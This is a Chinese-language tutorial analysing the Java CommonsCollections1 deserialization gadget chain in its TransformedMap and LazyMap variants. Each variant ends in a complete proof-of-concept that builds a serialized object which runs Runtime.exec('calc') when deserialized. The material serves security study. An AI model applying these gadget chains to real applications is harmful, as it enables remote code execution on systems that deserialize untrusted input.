Java反序列化利用链之CommonsCollections1
CommonsCollections1
CC1TransformedMap链
org.apache.commons.collections.functors.InvokerTransformer
危险类InvokerTransformer
的实现如下:
InvokerTransformer
类实现的transform
方法可执行任意方法,也是反序列化执行命令的关键。
transform
将解析构造方法传入的三个参数,执行input
对象的iMethodName
方法。
1
2
3
4
5
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
Object invokerTransformer = new InvokerTransformer("exec", new
Class[]{String.class}, new String[]{"calc"}).transform(r);
}
以上例子等同于这样:
1
2
3
4
5
6
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getMethod("exec",String.class);
method.invoke(runtime,"calc");
}
现在既然知道了InvokerTransformer
的transform
方法能够调用危险方法,就可以往前推找一个能够调用transform
的类。
org.apache.commons.collections.map.TransformedMap
在类TransformedMap
中存在一个checkSetValue
调用了transform
方法。
如果我们能够控制valueTransformer
为InvokerTransformer
就可以利用checkSetValue
调用任意方法。
往前跟进一下valueTransformer
:
可以看到TransformedMap
的构造方法对valueTransformer
赋值操作,但由于是protected
方法,所以还需要找到哪里能够调用TransformedMap
,在TransformedMap
上方存在一个decorate
方法正好符合。
1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
在这个方法中就可以看出valueTransformer
值可控,我们可通过TransformedMap
类的decorate
方法传入invokertansformdMap
就可以解决checkSetValue
的参数问题了:
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator
然后就开始找哪里调用到了checkSetValue
在TransformedMap
的父类AbstractInputCheckedMapDecorator
中:
在Java中,Map.Entry
是一个表示 Map
接口中的键值对的接口。Map
接口是Java中用于存储键值对的集合接口,而 Map.Entry
就代表了这些键值对的条目。
Map.Entry
接口定义了两个主要的方法:
- getKey(): 用于获取键(key)。
- getValue(): 用于获取值(value)。
这个接口通常与Map
的entrySet()
方法一起使用,该方法返回一个包含Map.Entry
对象的Set
集合,其中每个Map.Entry
对象代表Map
中的一个键值对。
遍历例子:
1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) {
// 创建一个Map
Map<String, Integer> map = new HashMap<>();
map.put("One", 1);
map.put("Two", 2);
map.put("Three", 3);
// 使用 entrySet() 获取 Map 中的键值对
for (Map.Entry<String, Integer> entry : map.entrySet()) {
System.out.println("Key: " + entry.getKey() + ", Value: " + entry.getValue());
}
}
AbstractInputCheckedMapDecorator
类中的 MapEntry
类中的setValue
方法其实就是Map
中的setValue
进行了重写(AbstractInputCheckedMapDecorator
的父类实现了Map
)
AbstractInputCheckedMapDecorator
类又引入了 Map.Entry
接口,还存在setValue
方法,所以我们只需要进行常用的 Map
遍历,就可以调用 setValue
方法,然后调用 checkSetValue
方法然后就变成了这样:
1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new
InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();//new 一个 map
map.put("key", "value");//对 map 进行赋值
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedmap.entrySet()) {//将transformedmap 传进去,会自动调用到父类里面的 setValue 方法:
entry.setValue(r);
}
}
然后就需要找到某个类的readObject
里面能够遍历map
而且在遍历时调用了setValue()
方法,并且能把transformedmap
传进去。
sun.reflect.annotation.AnnotationInvocationHandler;
这里有个坑点,CC1 在 jdk
的包更新到 8u71
以后,就对漏洞点进行了修复(CC1TransformedMap
链去掉了 Map.Entry
的 setValue
方法。
未修复前(jdk8u66):
修复后(jdk8u321):
可以很清楚的看到修复后的版本没有了setValue()
。
接下来关注AnnotationInvocationHandler
的构造方法看看什么可控:
在构造方法中可以看到memberValues
是可控的,也就是Map
可控,然后我们就可以传入前面构造的transformedmap
,再就是该类没有pubilc
修饰,所以只能通过反射拿到这个类的构造方法。
1
2
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
还有一个需要注意的点,在AnnotationInvocationHandler
的readObject
方法中:
这里var7
是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,所以我们需要一个注解并且它存在成员变量。注解Target
、SuppressWarnings
、Retention
中有个名为value
的成员变量,所以我们就可以使用这个注解,并改第一个键值对的值为value
所以构造方法就可以这样传参:
1
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedmap);
或者这样:
1
Object o = annotationInvocationhdlConstructor.newInstance(SuppressWarnings.class, transformedmap);
1
Object o = annotationInvocationhdlConstructor.newInstance(Retention.class, transformedmap);
捋一下:
直到现在我们知道InvokerTransformer
的transform
方法可以调用任意方法,并且TransformedMap
中的checkSetValue
调用了transform
方法。在TransformedMap
的父类AbstractInputCheckedMapDecorator
中setValue
又调用了checkSetValue
,所以可通过AnnotationInvocationHandler
调用readObject
时触发。
1
2
AnnotationInvocationHandler.readObject-->Entry.setValue-->TransformedMap.checkSetValue
-->InvokerTransformer.transform-->Runtime.getRuntime().exec()
但是在Runtime
里看一下,发现它没有serializable
接口,不能被序列化:
这里可以运用反射来获取它的原型类,它的原型类class
是存在serializable
接口可以序列化的,在这可以看到getRuntime()
方法,该方法会返回一个Runtime
对象,所以我们可通过反射:
1
2
3
4
5
6
Class c=Class.forName("java.lang.Runtime"); //获取类原型
Method getRuntime= c.getDeclaredMethod("getRuntime",null); //获取getRuntime方法,
Runtime r=(Runtime) getRuntime.invoke(null,null); //获取实例化对象,因为该方法无无参方法,所以全为null
Method exec=c.getDeclaredMethod("exec", String.class); //获取exec方法
exec.invoke(r,"calc"); //实现命令执行
Class rc = Class.forName("java.lang.Runtime");
利用前面transform
方法实现上述代码:
1
2
3
4
5
6
7
Class c=Class.forName("java.lang.Runtime"); //获取类原型
Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
//这里模拟获取getRuntime方法,它的具体操作步骤类似之前
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
//这里模拟获取invoke方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
//这里模拟获取exec方法,并进行命令执行
但是这样写很繁琐,Commons Collections
库中存在的ChainedTransformer
类,它也存在transform
方法可以帮我们遍历InvokerTransformer
,并且调用transform
方法。
org.apache.commons.collections.functors.ChainedTransformer
ChainedTransformer
方法实现了Serializable
该类里调用了transform
方法可以帮我们遍历InvokerTransformer
,并且调用transform
方法:
然后就可以这样构造:
1
2
3
4
5
6
7
8
9
Transformer[] Transformers = new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new
Class[]{String.class, Class[].class}, new
Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new
Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new
Class[]{String.class}, new Object[]{"calc"})
};
但是如何才能指定Runtime.class
呢?也就是this.iTransformers[i].transform(object);
的object
为Runtime.class
org.apache.commons.collections.functors.ConstantTransformer
ConstantTransformer
这个类的构造方法可控制transform
的返回值,这样就能控制指定Runtime.class
:
然后就可以这样构造:
1
2
3
4
5
6
7
8
9
10
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new
Class[]{String.class, Class[].class}, new
Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new
Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new
Class[]{String.class}, new Object[]{"calc"})
};
这样构造之后就可以,第一次调用ConstantTransformer
类的transform
方法从而返回Runtime.class
。
1
2
3
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
此时object
变为Runtime.class
,同时作为参数传入InvokerTransformer
类的transform
方法,也就是这样:
1
2
object = ConstantTransformer(Runtime.class).transform(xxx);
object = InvokerTransformer(xxx,xxx,xxx).transform(object); //此时括号中的object为Runtime.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
最终完整CC1Poc
如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Poc {
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new
Class[]{String.class, Class[].class}, new
Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new
Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new
Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new
ChainedTransformer(Transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object, Object> transformedmap =
TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(SuppressWarnings.class, transformedmap);
byte[] se = serialize(o);
deserialize(se);
}
}
CC1LazyMap链
在调用 tranforms
方法时候,除了能利用 Transformedmap
来进行调用,还可以通过使用 LazyMap
中的 get
方法来进行调用:
进入if
的条件只需要将我们传入的map
不要有后面传入的key
就行。
在LazyMap
的构造方法不难看出factory
是可控的:
接下来只需要找到一个readObject
方法调用了该get
方法即可
sun.reflect.annotation.AnnotationInvocationHandler
在AnnotationInvocationHandler
的invoke
中存在调用而且上面TransformedMap
链 分析了memberValues
可控。
AnnotationInvocationHandler
类本身实现了 InvocationHandler
接口所以我们可以直接使用动态代理去代理 LazyMap
对象。这个 invoke
是代理类的,memberValues.entrySet()
调用后会自动触发。其中的 memberValues
变量就是我们传入的 LazyMap
对象,它所调用的也就是 LazyMap
的 get
方法,这样就触发了我们后面的利用链。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整Poc
如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1LazyMapPoc {
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new
Class[]{String.class, Class[].class}, new
Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new
Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new
Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
HashMap<Object, Object> map = new HashMap<>();
Map Lazymap = LazyMap.decorate(map, chainedTransformer);
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Target.class, Lazymap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationhdlConstructor.newInstance(SuppressWarnings.class, mapProxy);
byte[] s = serialize(o);
Object o1 = deserialize(s);
}
}